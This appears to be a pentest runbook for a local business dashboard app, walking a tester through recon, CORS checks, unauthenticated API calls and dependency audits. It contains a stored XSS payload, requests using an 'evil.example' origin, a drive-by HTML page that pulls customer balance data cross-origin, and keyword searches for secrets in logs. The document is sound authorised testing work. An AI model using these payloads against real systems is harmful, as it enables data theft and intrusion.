What we are & aren't testing

🧰 What you need

Two laptops. Almost everything is already installed.

Pre-flight check

On Computer-A, paste this into PowerShell. All five lines must succeed.

py -3.14 --version
curl --version
git --version
Test-Path C:\Nesher2GM\backend.py
Test-Path C:\Nesher2GM\bridge.log

On Computer-B, also confirm Python:

python --version

If Python isn't found, install it from python.org (tick Add Python to PATH during install) before going further.

Step 0 · Make a backup

On Computer-A, open PowerShell as Administrator (Windows key → type powershell → right-click → Run as Administrator).

$stamp = Get-Date -Format yyyyMMdd-HHmm
Copy-Item -Path C:\Nesher2GM `
          -Destination "C:\Nesher2GM-BACKUP-$stamp" `
          -Recurse -Force
Write-Host "Backup done at C:\Nesher2GM-BACKUP-$stamp"

Wait until you see "Backup done". Then open File Explorer → confirm the new folder exists. Do not continue until you see it.

Step 0.5 · Evidence folder

Every step writes proof here. The engineer will read it later.

New-Item -ItemType Directory -Path C:\pentest-evidence -Force | Out-Null
cd C:\pentest-evidence

From now on: every command saves output to C:\pentest-evidence\. If a command fails to write a file, stop and ask the engineer.

A1 · Is the app exposed? P0-1

Run on Computer-A in PowerShell:

New-Item -ItemType Directory -Path C:\pentest-evidence\A-recon -Force | Out-Null
cd C:\pentest-evidence\A-recon
netstat -an | Select-String ":8000" | Tee-Object -FilePath A1-netstat.txt

A2 · API surface

Pull the list of every endpoint, plus check if Swagger UI is exposed.

curl http://localhost:8000/openapi.json -o A2-openapi.json
curl -I http://localhost:8000/docs | Tee-Object -FilePath A3-docs-headers.txt

A3 · File permissions

Are the secret files readable by anyone? Run all 3:

icacls C:\Nesher2GM\bridge_config.json     | Tee-Object A4-acl-bridge.txt
icacls C:\Nesher2GM\garageflow_config.json | Tee-Object A4-acl-garageflow.txt
icacls C:\Nesher2GM\nesher_cache.db        | Tee-Object A4-acl-cache.txt

A4 · Tasks & disk encryption

schtasks /query /tn Nesher2GM_Bridge  /v /fo LIST | Tee-Object A5-task-bridge.txt
schtasks /query /tn Nesher2GM_Backend /v /fo LIST | Tee-Object A5-task-backend.txt
manage-bde -status C:                              | Tee-Object A6-bitlocker.txt

Just save the output. The engineer reviews it.

B1 · Reach it from another laptop P0-1

On Computer-B, open Chrome and visit:

http://<Computer-A-IP>:8000/api/today

Save screenshot as C:\pentest-evidence\B1-lan-binding.png on Computer-B.

B2 · CORS check P0-2

On Computer-A PowerShell:

curl -I -H "Origin: https://evil.example" `
  http://localhost:8000/api/customers/top `
  | Tee-Object C:\pentest-evidence\B2-cors.txt

Open the file. Look for these two header lines in the output:

Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: https://evil.example

If either appears → P0-2 confirmed. If neither appears → safe.

B3 · Anonymous /api/sync P0-3

🟡 This triggers a real sync — the system does this routinely; no harm.

curl -X POST -H "Origin: https://evil.example" `
  http://localhost:8000/api/sync `
  | Tee-Object C:\pentest-evidence\B3-sync.txt

B4 · Cache clear P0-4

🟡 Clears a cache. The system rebuilds it automatically — no permanent damage.

curl -X POST -H "Origin: https://evil.example" `
  http://localhost:8000/api/cache/clear `
  | Tee-Object C:\pentest-evidence\B4-cacheclear.txt

Reload the dashboard afterwards — items will reload from scratch. Normal.

B5 · Stored XSS P0-5

🟡 Leaves a trace. Cleanup required at the end.

What we're testing: the client's web/app.js dashboard. The bug (if any) is that it doesn't sanitize incoming strings. Neswin is just the easiest place to put a string in. We are not testing Neswin.

1. Open Neswin normally — same way the staff use it every day.
2. Pick a test customer (NEVER a real one).
3. Change the customer name to exactly:

   "><img src=x onerror=alert('XSS-TEST-2026')>

4. Save in Neswin → wait for next sync (or run B3 again).
5. Open Nesher2GM dashboard in Chrome.

B6 · Drive-by exfiltration P0-6

Run only if both B1 and B2 confirmed. On Computer-B:

1. Create folder C:\evil. Inside, save this as index.html:

<!doctype html><html><body><pre id="o">running...</pre>
<script>
fetch('http://<Computer-A-IP>:8000/api/customer_balances',{credentials:'include'})
 .then(r=>r.text())
 .then(t=>document.getElementById('o').innerText='GOT '+t.length+' bytes:\n'+t.substring(0,500))
 .catch(e=>document.getElementById('o').innerText='BLOCKED: '+e);
</script></body></html>

2. PowerShell:

cd C:\evil
py -3.14 -m http.server 8000

3. Chrome → http://localhost:8000/index.html → press F12 → Console tab.

If you see "GOT NNN bytes" with real customer balance JSON → P0-6 confirmed. Screenshot and stop the server (Ctrl+C).

Section C · Medium findings (P1)

Run on Computer-A. All read-only.

New-Item -ItemType Directory -Path C:\pentest-evidence\C-p1 -Force | Out-Null
cd C:\pentest-evidence\C-p1

# C1 — PII / secrets in bridge.log
findstr /I "phone invoice vendor secret token password api_key Authorization @" `
  C:\Nesher2GM\bridge.log | Tee-Object C1-bridge-pii.txt

# C2 — same for garageflow_sync.log
findstr /I "phone invoice vendor secret token password api_key Authorization @" `
  C:\Nesher2GM\garageflow_sync.log | Tee-Object C2-garageflow-pii.txt

# C3 — bulk export rate-limit (10 reqs in <1s)
1..10 | ForEach-Object { curl http://localhost:8000/api/export/customers.xlsx `
  -o ("export-"+$_+".xlsx") -s -w "%{http_code}`n" } | Tee-Object C3-rate.txt

# C4 — dependency CVE scan
py -3.14 -m pip install --quiet pip-audit
py -3.14 -m pip_audit | Tee-Object C4-pip-audit.txt

Important: redact phone numbers, real names, and tokens with XXXX in the log files before sending.

Section D · Low / hardening (P2)

New-Item -ItemType Directory -Path C:\pentest-evidence\D-p2 -Force | Out-Null
cd C:\pentest-evidence\D-p2

# D1 — License compliance
py -3.14 -m pip install --quiet pip-licenses
py -3.14 -m piplicenses --format=markdown --with-urls | Tee-Object D1-licenses.md

# D2 — Outdated packages
py -3.14 -m pip list --outdated | Tee-Object D2-outdated.txt

# D3 — Secrets git-ignored?
cd C:\Nesher2GM
git check-ignore bridge_config.json garageflow_config.json nesher_cache.db `
  | Tee-Object C:\pentest-evidence\D-p2\D3-gitignore.txt

# D4 — Browser-side secrets in app.js?
findstr /I /N "token secret api_key password bearer" C:\Nesher2GM\web\app.js `
  | Tee-Object C:\pentest-evidence\D-p2\D4-jsleak.txt